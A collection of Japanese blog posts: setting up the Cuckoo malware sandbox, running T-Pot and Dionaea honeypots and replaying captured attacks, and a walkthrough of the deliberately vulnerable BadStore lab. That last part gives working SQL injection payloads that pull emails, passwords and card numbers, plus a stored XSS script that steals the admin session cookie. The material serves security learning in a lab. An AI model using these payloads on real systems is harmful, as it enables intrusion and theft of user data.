CuckooSandboxインストール
環境
Cuckooのインストール
$ sudo apt-get install -y cuckoo
仮想マシンのセットアップを行うときに agent.py が必要になるため、一度起動して .cuckoo ディレクトリを作成する
$ cuckoo
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Cuckoo Sandbox 2.0.6
www.cuckoosandbox.org
Copyright (c) 2010-2018
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Welcome to Cuckoo Sandbox, this appears to be your first run!
We will now set you up with our default configuration.
You will be able to see and modify the Cuckoo configuration,
Yara rules, Cuckoo Signatures, and much more to your likings
by exploring the /root/.cuckoo directory.
Among other configurable items of most interest is the
new location for your Cuckoo configuration:
/root/.cuckoo/conf
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Cuckoo has finished setting up the default configuration.
Please modify the default settings where required and
start Cuckoo again (by running `cuckoo` or `cuckoo -d`).
マルウェア解析用の仮想マシンをセットアップ
VirtualBoxのインストール
Cuckooのドキュメント Virtualization Software を参考に指定されたバージョンの VirtualBox をインストールする。Kali Linux 2019.1a 上でインストールするときは、Distributionを xenial から bionic にする必要がある
$ echo "deb http://download.virtualbox.org/virtualbox/debian bionic contrib" | sudo tee -a /etc/apt/sources.list.d/virtualbox.list $ wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add - $ sudo apt-get update $ sudo apt-get install -y virtualbox-5.1
仮想NICの作成
セキュリティ上の観点から、既存のネットワークとは独立させるために仮想マシンにアタッチする仮想NIC（ホストオンリーアダプター）を作成
# not persistence $ vboxmanage hostonlyif create $ vboxmanage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1 --netmask 255.255.255.0
仮想マシンにWindows7(64bit)をセットアップ
サンドボックス解析によるマルウェア対策ツール「cuckoo」を使ってみようを参考に、仮想マシン上にWindows(英語版、日本語版問わない)をセットアップ
- 仮想マシン
- ホストオンリーアダプターに
vboxnet0を指定 - スナップショット作成
- ホストオンリーアダプターに
- Windows7
- ファイアウォールの無効化
- UACの無効化
- ネットワーク設定
- IP:192.168.56.101
- GW:192.168.56.1
- Python2.7をインストール(https://www.python.org/)
- PythonPILをインストール(http://www.pythonware.com/products/pil/)
agent.pyをスタートアップに設定
仮想マシンから外部ネットワークへのルーティング設定
Cuckooのドキュメント Per-Analysis Network Routing を参考に仮想マシンから外部ネットワークへのルーティングを設定する
$ sudo iptables -t nat -A POSTROUTING -o eth0 -s 192.168.56.0/24 -j MASQUERADE # Default drop. $ sudo iptables -P FORWARD DROP # Existing connections. $ sudo iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT # Accept connections from vboxnet to the whole internet. $ sudo iptables -A FORWARD -s 192.168.56.0/24 -j ACCEPT # Internal traffic. $ sudo iptables -A FORWARD -s 192.168.56.0/24 -d 192.168.56.0/24 -j ACCEPT # Log stuff that reaches this point (could be noisy). $ sudo iptables -A FORWARD -j LOG
インターネットへの接続を許可する場合
$ echo 1 | sudo tee -a /proc/sys/net/ipv4/ip_forward
Cuckooのセットアップ
Cuckooのインストールだけでは、Cuckoo + Webインターフェースを利用できないため、必要なパッケージのインストールとコンフィグの設定をする
MongoDBのインストール
Cuckooでは解析結果レポートの保存に MongoDB を利用しているため Install MongoDB Community Edition on Ubuntu に従ってインストールする
$ sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 9DA31620334BD75D9DCB49F368818C72E52529D4 $ echo "deb [ arch=amd64 ] https://repo.mongodb.org/apt/ubuntu bionic/mongodb-org/4.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.0.list $ sudo apt update $ sudo apt install -y mongodb-org
Djangoのバージョンを合わせる
apt-get で Cuckoo をインストールした場合、Djangoのバージョンが Cuckooで指定しているバージョン より新しく、webインターフェースが正常に起動しないため、アンインストール後に適切なバージョンをインストールする
※ Cuckooは最新バージョンのDjangoと互換性がない
$ pip freeze | grep jango # Django==1.11.20 # django-extensions==2.1.4 $ rm -rf /usr/lib/python2.7/dist-packages/*jango*
$ pip install django==1.8.4 $ pip install django_extensions==1.6.7 $ pip freeze | grep jango # Django==1.8.4 # django-extensions==1.6.7
Cuckooのコンフィグ設定
.cuckoo/conf/virtualbox.conf
- win7x64
- Snapshot1
- 保存したスナップショット名
[virtualbox] # Specify which VirtualBox mode you want to run your machines on. # Can be "gui" or "headless". Please refer to VirtualBox's official # documentation to understand the differences. mode = headless # Path to the local installation of the VBoxManage utility. path = /usr/bin/VBoxManage # If you are running Cuckoo on Mac OS X you have to change the path as follows: # path = /Applications/VirtualBox.app/Contents/MacOS/VBoxManage # Default network interface. interface = vboxnet0 # Specify a comma-separated list of available machines to be used. For each # specified ID you have to define a dedicated section containing the details # on the respective machine. (E.g. cuckoo1,cuckoo2,cuckoo3) -machines = cuckoo1 +machines = win7x64 # If remote control is enabled in cuckoo.conf, specify a port range to use. # Virtualbox will bind the VRDP interface to the first available port. controlports = 5000-5050 -[cuckoo1] +[win7x64] # Specify the label name of the current machine as specified in your # VirtualBox configuration. -label = cuckoo1 +label = win7x64 # Specify the operating system platform used by current machine # [windows/darwin/linux]. platform = windows # Specify the IP address of the current virtual machine. Make sure that the # IP address is valid and that the host machine is able to reach it. If not, # the analysis will fail. ip = 192.168.56.101 # (Optional) Specify the snapshot name to use. If you do not specify a snapshot # name, the VirtualBox MachineManager will use the current snapshot. # Example (Snapshot1 is the snapshot name): -snapshot = +snapshot = Snapshot1 # (Optional) Specify the name of the network interface that should be used # when dumping network traffic from this machine with tcpdump. If specified, # overrides the default interface specified in auxiliary.conf # Example (vboxnet0 is the interface name): -interface = +interface = vboxnet0
.cuckoo/conf/reporting.conf
# The various modes describe which information should be submitted to MISP, # separated by whitespace. Available modes: maldoc ipaddr hashes url. mode = maldoc ipaddr hashes url [mongodb] -enabled = no +enabled = yes host = 127.0.0.1 port = 27017 db = cuckoo store_memdump = yes paginate = 100 # MongoDB authentication (optional). username = password =
Cuckoo起動
$ service mongod start # start sandobox $ cuckoo community $ cuckoo # start web interface $ cuckoo web
お財布に優しいT-Potの植え方
はじめに
10月末に駆け出した、新米ハニーポッターの秋山です。
この記事は、Honeypot Advent Calendar 2018の13日目の記事です。
今回は、以下のような人を対象として、ハニーポットを低予算で植えるための情報を共有したいと思います（低予算具合は所感です）
なお、今回の対象としているハニーポットは、初心者でも扱いやすそうな（Kibanaでログを手軽にみれる）T-Potとなります。
ハニーポットとの邂逅
セキュリティの勉強をしているときに、ハニーポットを使えばこういう情報（マルウェアの検体/現実の攻撃方法）が収集できるよということを教えてもらった。 大学の時にも単語レベルでは聞いたことあったが、どのようなものかを理解していなかったので、興味本位で触ってみたいと思いました。
実際、ハニーポットからマルウェアの検体収集や、生の攻撃手法の分析ができることから、セキュリティの勉強には最適かなと思い構築するに至りました。
「AWSの無料枠もあるし、ハニーポッターに俺はなる！」
お財布問題
と、意気込んでみたはいいものの、この時点ではT-Potを植えること以外は何も考えてなかったため、お金の問題が降りかかる事になるとは思ってもいなかった。
T-Potに関する記事を色々と調べてみると、ほぼ全ての記事でAWS上にT-Potを植えていた。その記事の中では、月額5千円ほどかかる旨が書かれており驚愕する。
にわかに信じられず自分で試算してみたが、やはりそれぐらいの運用費用はかかることが判明した。
なぜそんなに高いのかというと、T-Pot自体が他のハニーポットに比べて高機能（Kibanaによる可視化など）なため、要求するスペックが高いことが問題だった。
AWSだと最低でもt2.mediumタイプが要求されるので、これが高くなる要因だった。
「んー、正直これで一年間運用するのは厳しいな。そもそも妻の許可が出なそうだ！」
空からのお告げ
運用費用の辛さを吐露していたら、友人からあるサービスを紹介された。
AWSである理由がないのであれば、こういうのもあるよと。
今まで全く聞いたことのないサービスだなと思いながら公式ページをのぞいて見たら、凄く安い。
メモリ4GBのプランで 1,028.23 円 AWSで運用するときの 1/5 ぐらいではないか。
余裕を持って1-Lのプランにしたとしても、2,057.75 円 という破格の安さ。
安心するのはまだ早い
安価で使えるVPSサービスが見つかったことはいいが、AWSと比べるとScalewayに関する情報がかなり少ない。ましてや、Scaleway上でのハニーポット構築に関する記事は皆無。
情報が無いなら、手探りで進めばいいやと腹をくくり、いくつかの地雷を踏みぬいていく。
- t-pot-autoinstallがコケる
- 1日経たずにディスク容量を使い切る
- tpotのサービスが不安定
- 料金体系をちゃんと理解してない恐怖感
安定稼働までの道のり
これらの地雷を踏みぬきながら安定稼働までこぎつけたので、地雷の避け方を綴る。
t-pot-autoinstallがコケる
T-Potのインストーラ t-pot-autoinstall でサクッとインストールする予定が、何故かコケる。
cp: cannot stat '/usr/share/consolefonts/Uni2-Terminus12x6.psf.gz': No such file or directory
consolefontsディレクトリが無いのは何故だろう？と調べてみると、どうやらconsole-setupというものが入っていないとダメらしい。なので事前にこれをインストールしてあげる。
apt-get install console-setup
無事T-Potがインストールされ、この問題は解決する。
（検索ではかからなかったけど、他の人はこの地雷を踏んでないのかな？）
1日経たずにディスク容量を使い切る
T-Potのインストールが無事完了し、Kibanaでログを見ることができるようになった。
のも束の間。1日経たずしてKibanaからの反応が返ってこなくなった。
サーバーにログインして調べて見ると、ディスク使用率が100%になっており、サービス自体が起動できて無い。
そして気になるのが、プランでは200GB割り当てられているはずのディスクサイズが、たったの50GBしか認識されていない。
どうやら、起動時は50GBのディスクのみマウントされているため、残りの150GBのディスクは自分でマウントしないといけないらしい。
How to attach and detach additional volumes to an existing server - Scaleway
上のドキュメントを読みながら150GBをマウントし、この問題も無事解決する。
tpotのサービスが不安定
今度は、何日か経つとKibanaの挙動がおかしくなった。何故だか動かなくなった機能もある。
またもや調査をすると、不可解なログが目に付く。再起動していないのに、毎日再起動しているではないか。
（これは、t-pot-autoinstallがCronに再起動の設定を追加していることが原因だった）
そして、tpotサービスのエラーとして、ハニーポットのログファイルがバックアップできなかったと出ている。
どうやら毎日再起動をかけており、起動時に毎回ログファイルをバックアップしているらしいのだが、手動で再起動などをしたときに、ログファイルのバックアップに失敗することがあるらしく（権限系だったかな）それが原因でサービスが起動できていなかった（起動できたが一部の機能はダメなど）
ので、ここら辺は手動で再起動などをかけなければ特に起こらないため、気をつければ問題なかった。
料金体系をちゃんと理解してない恐怖感
何回か地雷を踏んでいると、クラウドだしインスタンスを削除してクリーンな状態から作り直せばいいや。という精神になり、サーバーインスタンスの破棄を繰り返す。 料金体系を正確に理解していないので、それがどのように課金されるかわかっていない。
なので、ここら辺は料金系のドキュメントを読みながら、10月分請求の実際に請求額から確認して理解した。
- Scalewayでは、一つのサーバーインスタンスの連続稼働時間が一定時間以上になると、料金が頭打ちとなりそれ以降は定額となる
- Linux上からRebootした場合は、稼働時間が途切れずに継続した状態であるため、何回やっても大丈夫
逆に、サーバーインスタンスの停止や削除を行なった場合は、その時点までの稼働時間（H）* 単価が請求に乗ってくる（稼働時間はリセットされてしまう）安定稼働したら、このような使い方は避けた方が無難（それでも1時間当たりの料金が安いため、定額制にならなくても結構安い）
安定稼働のその先
サーバー自体が海外にあるため、ネットワークのレスポンスは若干遅いが、普通に使ってる分ではあまり気にならないレベルのため、この値段で安定して運用できるならコストパフォーマンス的には良かったです。 AWSと比較まではいけなかったので、攻撃頻度の違いなどは比較はできなかったですが、攻撃自体はかなり多いので運用するには良さそうです。
Dionaeaのアクセス数
休日に攻撃が少ないのは、稼働している端末（踏み台）が少ないから？🤔 pic.twitter.com/BFsaR7BwI9
— kiyoto Akiyama (@kyonta1022) November 14, 2018
1日分のSuricataアラート
Suricataであがったアラートで [ DoublePulsar Backdoor installation communication ] が3807792回。多すぎる。そしてログのディスク消費量が半端ない。。。
— kiyoto Akiyama (@kyonta1022) October 26, 2018
Scaleway上でのT-Pot構築に関する記事
今日から僕もハニーポッター！（ってイキれる）https://t.co/2awBbdFs5b
— kiyoto Akiyama (@kyonta1022) October 23, 2018
Dionaeaによる初めての生態観察
はじめに
T-Potを植え始めてからかれこれ2週間以上が経過し、サーバーも安定稼働もしてきたので、各ハニーポットの観察方法について調査していこうと思う。最初のターゲットとしては、ハニーポットの中でも人気が高いDionaeaについての観察方法をまとめてみる。Dionaeaを最初のターゲットにした理由としては、収集したマルウェアの保存場所や種類の特定に関する情報は色々と公開されているのだが、攻撃に関するログの見方や、攻撃の再現方法に関しての情報が全然なく、少し苦労したので。（検索方法が悪かったのと、ドキュメントちゃんと読め説はある）
Dionaeaとは
複数のサービスをネットワーク上に公開することにより、攻撃者からマルウェアのコピーを手に入れるための、マルウェア収集用のハニーポットという解釈。もちろん、攻撃に関するログも収集しているため、どのような方法でマルウェアに感染させられたのかを知ることができる。ちなみに、Dionaeaはハエトリグサという意味らしい。
Introduction — dionaea 0.8.0 documentation
稼働サービス
知らないサービスもあるが、こんな感じのものが動いている。
観察に利用するデータ
実際に調査してみた中で、このファイルやディレクトリ大事そうだなーと思うものを載せているため、他に大事そうなものがあったとしても調査の中で見なかったものに関しては登場してきません。
攻撃通信の生データ
サーバーへの要求(in)と応答(out)のラベルがついた攻撃通信のバイトデータで、攻撃を再現する場合に利用する。ファイル単独で見ても旨味は少ないので、関連するファイルをまとめて扱う必要がある。
/data/dionaea/bistreams
収集したマルウェア
ゲットだぜ！したマルウェア達の部屋。ファイル名はハッシュ値になっているため、VirusTotal で種類を調べることが可能。
/data/dionaea/binaries
インシデントログ
何によってインシデントと判定されるのかまでは調べきれていないが、インシデントに関する情報が入っている。bistreamsと違い、時系列かつ読みやすい形式で格納されている模様。
/data/dionaea/log/dionaea.sqlite
観察に必要なツールと使い方に関して
T-Potを運用しているサーバーか、いつも使っている端末にセットアップする。今回の環境では、観察に必要なデータをMacに持ってきてからツールを利用した。
# git clone https://github.com/DinoTools/dionaea.git cd /dionaea/modules/python/util
攻撃の再現方法
bistreamsに格納されているファイルとutilに含まれているretry.pyを使って、攻撃を再現をすることができる。事前にWiresharkなどでパケットをキャプチャしていれば、pcapファイルとしての保存も可能。
| オプション | 用途 |
|---|---|
| -t | bistreamsファイルのコピー先ファイル名 |
| -H | Socket通信での接続先IPアドレス(Dionaea稼働サーバーを指定) |
| -p | Socket通信での接続先Port番号(bistreamsファイルと同じPortを指定) |
| -r | 応答パケットを接続先から受信するかのフラグ（outの部分が必要かどうか） |
| -s | 要求パケットを接続先に送信するかのフラグ（inの部分が必要かどうか） |
| -f | 再現するbistreamsファイル |
完全に再現させるには-r -sは必須で、対象ホストはハニーポットが稼働しているサーバーにする。
python retry.py -t retrystream -H xx.xx.xx.xx -p 21 -r -s -f ftpd-21-::ffff:yy.yy.yy.yy-54hS7r
使用可能なオプションについてはpython retry.py --helpで確認するといい（コード量が少ないので、詳細を知りたい場合はコードを見るのもあり）
インシデントログの確認
dionaea.sqliteファイルとutilに含まれているreadlogsqltree.pyを使って、インシデントログの確認を行うことができる。
python readlogsqltree.py /data/dionaea/log/dionaea.sqlite
使用可能なオプションについてはpython readlogsqltree.py --helpで確認するといい。
観察シナリオ
自分なりの観察シナリオをまとめてみる。
インシデントが溜まる
binariesとかにマルウェアが溜まってきたーや、kibanaで見たら結構攻撃きてるなーなど、なんとなくログ溜まってきてそうだなと思うタイミングを調査のトリガーにしてみる。
# cd /data/dionaea/binaries # ls | wc -l 221
対象のホストを絞り込む
自分はbistreamsのディレクトリをサラーっと眺めて、気になるプロトコルや、通信量が多そうなファイル（マルウェアのダウンロードに成功してる）に目星をつけて、ホストを絞り込む。
# cd /data/dionaea/bistreams # ls -altrh | grep mssqld -rw------- 1 tpot tpot 1.8K Nov 7 09:13 mssqld-1433-::ffff:58.244.204.125-ozutsX -rw------- 1 tpot tpot 113K Nov 7 09:14 mssqld-1433-::ffff:58.244.204.125-lXNimU
インシデントログを確認する
いきなりbistreamsのファイルを使って再現するのもあれかなーと思うので、一旦dionaea.sqliteのログから全体像を確認する。
- 時系列と通信回数の確認
- わかりやすい形式でログが残っていれば概要を把握する
時系列と通信回数の確認では、一まとまりの攻撃に絞り込むのとbistreamsを再現したときに、どこの通信がインシデントログの一通信に当たるかを紐づけるために確認しています。（数が合わない場合があるのでここは追って調査予定。インシデントとして記録される条件が影響している？）
# python readlogsqltree.py -r ::ffff:58.244.204.125 /data/dionaea/log/dionaea.sqlite using database located at /data/dionaea/log/dionaea.sqlite 2018-11-07 09:12:08 connection 21147 mssqld tcp accept ::ffff:xx.xx.xx.xx:1433 <- ::ffff:58.244.204.125:35037 (21147 None) login - user:'sa' password:'' mssql fingerprint - hostname:'AHKJ-WEBSERVICE' cltintname:'Microl office' appname:'ODBC' mssql command - status:complete cmd:'exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set arithabort on' 2018-11-07 09:12:09 connection 21148 mssqld tcp accept ::ffff:xx.xx.xx.xx:1433 <- ::ffff:58.244.204.125:1537 (21148 None) login - user:'' password:'' mssql fingerprint - hostname:'AHKJ-WEBSERVICE' cltintname:'Microl office' appname:'ODBC' mssql command - status:complete cmd:'exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1 where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set arithabort on' mssql command - status:complete cmd:'SELECT @@VERSION ' mssql command - status:complete cmd:'use master ' 以下省略
攻撃を再現させて生データ確認
インシデントのタイムスタンプから２回コネクションが貼られてるなーというのを確認して、時間に若干ズレはあるけどbistreamsの一個めのファイルが2018-11-07 09:12:08のやり取りで、二個目のファイルが2018-11-07 09:12:09だろうなーと推測。
こちらも再生してみる。
$ python retry.py -t retrystream -H xx.xx.xx.xx -p 1433 -r -s -f mssqld-1433-::ffff:58.244.204.125-ozutsX doing mssqld-1433-::ffff:58.244.204.125-ozutsX $ python retry.py -t retrystream -H xx.xx.xx.xx -p 1433 -r -s -f mssqld-1433-::ffff:58.244.204.125-lXNimU doing mssqld-1433-::ffff:58.244.204.125-lXNimU
Wiresharkで見てみると（通信の一部）。
まとめ
と、観察するときにみるべきファイルや、観察の流れについては自分なりに整理できたと思うので、今後これをベースに攻撃方法の理解と、落としていったマルウェアの解析（動的、静的）を行っていけるといいな。（時間が足りれば・・・）
Scaleway上にHoneypot(T-Pot)をインストールする
はじめに
マルウェアとじゃれたり、攻撃者の足跡を観察してみたいと思ったのでハニーポットの運用をしてみることにした。ハニーポットって聞いたことはあるけど使ったことがなかったので、何か簡単にセットアップできてサクッと見れるのないかなーと思っていたら、 T-Pot というお菓子の詰め合わせみたいなものがあったので、それを使ってみることにしました。ただ、 T-Pot は要求するスペックが高い（メモリ4GB以上、DISK64GB以上）
GitHub - dtag-dev-sec/tpotce: T-Pot Universal Installer and T-Pot ISO Creator
※ 2018/10/29 自動的にプロビジョニングする playbook を作成したので、以下の手順を実行しなくても構築可能
環境選定
ハニーポットを構築するにあたり、VPSの利用か自宅で鯖を立てるかのどちらにしようか悩んだ結果、以下の理由からVPSを使うことにした。
VPSを選んだ理由
- 賃貸だから固定IPを取るのめんどくさい（申請）
- T-Potに耐えられるスペックのマシンが一台しかない
- 固定IP + 電気代を考えるならクラウド使うのと料金変わらなかったりする？
- 単純に旬のVPS使ってみたい
利用するVPS
当初はAWS一択（それ以外全然知らないし意識してなかった）だったが、友人から安いVPS Scaleway があることを教えてもらい、急遽そちらを使うことにした。
ざっくり料金を見積もるとこんな感じになりそうだったので、お小遣い制の自分からするとどちらを使うべきかは明白。
※ Kibana が重いため最終的には 1-L のタイプ（約2,000円）を利用。
| VPS | インスタンスタイプ | 値段 |
|---|---|---|
| EC2 | t2.mediam | 約5,000円 |
| Scaleway | Start 1-M | 約1,000円 |
Scaleway利用の流れ
早速 Scaleway を利用してみる。
支払い情報入力
ログイン情報を入力してアカウント作成
同意
メールアドレスの確認
電話番号の入力（この後確認コードが飛んでくる）。81日本 + 090の先頭を削除した 90 から番号を入力する。
最後にクレジットカード（必須）と住所情報を入力して完了（画面違うけど）
サーバーインスタンス作成
左上の Create Server ボタンを押してサーバーインスタンス作成画面に飛ぶ。今回はT-Potのスペックを満たす以下のサーバーを選択。ちなみにロケーションは Amsterdam の方がレスポンスが早かった。
OSは Ubuntu 16.04.x(Xenial)を選択
ディスクの選択（ちなみに 150GB volumeが付いてきてるが、サーバーインスタンス起動時はマウントされてない状態なので、別途マウントする必要がある。マウントしないとシステムボリュームの 50GB だけしか使えない）
あとはそのままで、一番下の方にあるlaunchで完了する
アタッチメントされたディスクのマウント
これをやってなかったので、一日立たずに無事死亡しました。なので絶対やりましょう。公式にマウントまでの手順があるので、これを実施する。
How to attach and detach additional volumes to an existing server - Scaleway
fdisk -l で追加でアタッチメントされているディスクを調べる（今回のは /dev/vdb: 139.7 GiB）
# fdisk -l Disk /dev/vda: 46.6 GiB, 50000000000 bytes, 97656250 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: 217FDD50-4437-4A58-8524-09728E4353CA Device Start End Sectors Size Type /dev/vda1 206848 97656216 97449369 46.5G Linux filesystem /dev/vda15 2048 206847 204800 100M EFI System Partition table entries are not in disk order. Disk /dev/vdb: 139.7 GiB, 150000000000 bytes, 292968750 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes
フォーマット
# mkfs -t ext4 /dev/vdb
マウント
# mkdir /data # mount /dev/vdb /data
再起動してもマウントされるようにする
# vi /etc/systemd/system/data.mount
[Unit] Description=Mount NDB Volume at boot [Mount] What=UUID="a0630171-a6c0-4f61-ab75-caeb55982eb2" Where=/data Type=ext4 Options=defaults [Install] WantedBy=multi-user.target
リロードと有効化
# systemctl daemon-reload # systemctl start data.mount # systemctl enable data.mount
T-Potが使えるようになるまで
ハニーポッターとして、群がってくる奴らを観察できるようにする。
インストール
サーバーにログインする
ssh root@xx.xx.xx.xx
Gitコマンドインストール
apt-get update apt-get install -y git
console-setup のインストール。これがないと cp: cannot stat '/usr/share/consolefonts/Uni2-Terminus12x6.psf.gz': No such file or directory というエラーがゴール手前で発生する。
apt-get install console-setup
ユーザを追加する（tpotユーザはこの中で使われるため避ける）
# adduser honeypotter # mkdir /home/honeypotter/.ssh # cp /home/ubuntu/.ssh/authorized_keys /home/honeypotter/.ssh/ # chown -R honeypotter:honeypotter /home/honeypotter/.ssh
T-Potのインストーラ実行
# git clone https://github.com/dtag-dev-sec/t-pot-autoinstall.git # cd t-pot-autoinstall # sudo su # ./install.sh
T-Potで使用するユーザを尋ねられるので、上で作成したユーザ honeypotter を指定する
Make sure the SSH login for your normal user is working! Which user do you usually work with? This script is invoked by root, but what is your normal username? Enter username: honeypotter
インストールタイプの選択
########################################################## # # # How do you want to proceed? Enter your choice. # # # # Required: 4GB RAM, 64GB disk # # Recommended: 8GB RAM, 128GB SSD # # # # 1 - T-Pot's STANDARD INSTALLATION # # Standard Honeypots, Suricata & ELK # # # # 2 - T-Pot's HONEYPOTS ONLY # # Honeypots only, w/o Suricata & ELK # # # # 3 - T-Pot's INDUSTRIAL EDITION # # Conpot, eMobility, Suricata & ELK # # # # 4 - T-Pot's FULL INSTALLATION # # Everything # # # ########################################################## Your choice: 1
webアクセスするときのパスワード設定を求められるので適当な情報を入力
### Removing NGINX default website. ### Please enter a password for your user honeypotter for web access. Password: xxxx Repeat password: xxxx Adding password for user honeypotter
全てのセットアップが正常に終了すると、サーバーが再起動する。
webから状況を観察する
再起動したら以下のURLにアクセスすると、無事 Kibana のUIが表示される。
https://xx.xx.xx.xx:64297
SSHでログインする
ポートが22番から64295に変更されている
ssh root@xx.xx.xx.xx -p 64295
BadStore.netを使った脆弱性調査
WEBアプリ関係の脆弱性調査について一通り勉強したということで、実際にやられサーバーを使って脆弱性調査にチャンレンジしてみる。
環境構築
調査の前に、やられサーバーを構築する。
仮想マシン
BadStoreのisoをダウンロード
以下のサイトからisoをダウンロードする。 www.vulnhub.com
VMware Workstation 12 Playerで仮想マシンを作成
ゲストOS = Linux
バージョン = 他のLinux2.4.xカーネル
仮想マシン起動
仮想マシンのコンソールから、 ifconfig でIPアドレスを調べる。
http://192.168.11.6/
外部の端末からアクセスできるようにする
訳あってVMを起動している端末とは別の端末から試みたため、外部からアクセスできるような設定をする。
netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.11.6 connectport=80 connectaddress=192.168.157.132 netsh interface portproxy add v4tov4 listenport=443 listenaddress=192.168.11.6 connectport=443 connectaddress=192.168.157.132 netsh interface portproxy add v4tov4 listenport=3306 listenaddress=192.168.11.6 connectport=3306 connectaddress=192.168.157.132
WEBアプリの脆弱性調査
機能ごとにどんな脆弱性が存在しそうかを調べていく。
Quick Item Search
全ての画面に出てきている検索機能。検索ボタンを押した瞬間から確実にSQLiが存在していると匂わせる画面。
DB情報収集
わざと失敗させてエラーを吐かせてみる。
'
DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' IN (itemnum,sdesc,ldesc)' at line 1 at /usr/local/apache/cgi-bin/badstore.cgi line 207.
次にMySQLのバージョンを取得してみる。
a' = 'a' UNION SELECT VERSION(),2,3,4 #
テーブル名とカラム名の推測
バージョンは、 4.1.7-standard だと判明。調べてみるとこのバージョンでは information_schema は使えないらしい。（5系から使える）
information_schemaが使えないということは、テーブル名の一覧などが簡単に取得できなそう。考えた末、とりあえず全体のページ数が少なそうなので、画面から存在しそうなテーブルを推測してみることにした。サラサラと見た感じ、 user 系と item 系の２種類があるのかな？と推測。命名規則的には表示されたSQLから xxxdb という形式なのかなと判断し、試してみる。
a' = 'a' UNION SELECT email,2,3,4 FROM userdb #
ユーザのメールアドレスが取得できた。
他のカラム名もHTML内に存在するページ（http://192.168.11.6/cgi-bin/badstore.cgi?action=loginregister）から推測する。
password => NG
a' = 'a' UNION SELECT password,2,3,4 FROM userdb #
passwd = OK
a' = 'a' UNION SELECT passwd,2,3,4 FROM userdb #
fullname = OK
a' = 'a' UNION SELECT fullname,2,3,4 FROM userdb #
pwdhint = OK
a' = 'a' UNION SELECT pwdhint,2,3,4 FROM userdb #
収集したカラム名を全て表示させてみる。
a' = 'a' UNION SELECT fullname,email,passwd,pwdhint FROM userdb #
SQLiによるユーザ情報抽出
入力エリアのサイズ制限にかかって入力しきれないので、URLを直接指定してGETリクエストを投げる。
http://192.168.11.6/cgi-bin/badstore.cgi?searchquery=a%27+%3D+%27a%27+UNION+SELECT+email%2Cpasswd%2Cfullname%2Cpwdhint+FROM+userdb+%23&action=search&x=0&y=0
ユーザ情報の漏洩を確認することができた。
Guestbook
ホテルなどにあるゲストブックのオンライン版？誰でも書き込める所なので、XSSの脆弱性があるとまずいが、XSSの脆弱性がありそうだ。
入力可能な文字列の調査
名前、メール、コメントの３項目あるので、とりあえず全ての項目に以下の文字列を入れて投稿してみる。
<>'
ゲストブックを表示する画面のHTMLを確認してみると、そのまま表示されていることが確認できる。
Wednesday, August 29, 2018 at 19:34:06: <B><>'</B> <A HREF=mailto:<>'><>'</A> <OL><I><>' </I></OL> <HR>
XSSを仕掛ける
このサイトで使っているCookieで、どんな情報をXSSで引っこ抜くと悪用できそうかを探していると、 SSOid というやばそうな項目を発見。Single Sign On？試しに自分のアカウントを作成して何度かログインしてみると、毎回同じ値が設定されていたので、ユーザ毎に一意の値が決まっていそう。セッションハイジャックに使えそうな匂いがするので、これを取得する。
ゲストブックへの投稿で以下のスクリプトを仕掛ける。今回は単純に、閲覧した人のSSOidをゲストブックに投稿する。
<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');xhr.send('name=myname&email=xxx@mail&comments='+cookie);</script>
<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');
xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');
xhr.send('name=myname&email=xxx@mail&comments='+cookie);
</script>
adminユーザでゲストブックを閲覧する
※XSSを一度踏むためにadminユーザでログインしているが、SQLiで取得したadminのパスワードはmd5でハッシュ化してあるため、以下のオンラインサービスを利用して平文を取得している。
adminユーザでGuestBookを閲覧すると、以下の内容が自動的に投稿される。
Wednesday, August 29, 2018 at 22:36:52: myname xxx@mail SSOid=YWRtaW46NWViZTIyOTRlY2QwZTBmMDhlYWI3NjkwZDJhNmVlNjk6TWFzdGVyIFN5c3RlbSBBZG1p
adminとして不正ログイン
chromeの開発者ツールで、Cookie内のSSOidを書き換えると、ユーザ情報が切り替わる。account変更画面からパスワードを勝手に変えてしまい、その後は普通にそのログイン情報を使うのもあり。
Place Order
商品の購入時に、クレジットカード情報を入力する画面がある。ということは、クレジットカード情報も存在するはずなので、それを抜き取ってみる。
SQLiによるクレジットカード情報抽出
色々見ていると order という単語をよく使っているので、購入情報として orderdb が存在するかなと予測して試してみる。カラム名は、クレジットカード入力画面から推測した。
a' = 'a' UNION SELECT ccard,expdate,3,4 FROM orderdb #
案の定クレジットカードの情報が抜き出せた。ユーザとの紐付けはどんなカラムを持っているか推測しきれなかった。
BadStoreサーバー全体の脆弱性調査
WEBアプリ以外の部分で、どのような脆弱性が存在するか調査する。
非公開情報の探索
Wfuzzというファジーツールを使って非公開ディレクトリの探索を行ってみる。 fuzz が何を意味するか知らなかったため調べていると、fuzzとは以下のような意味合いがあるらしい。
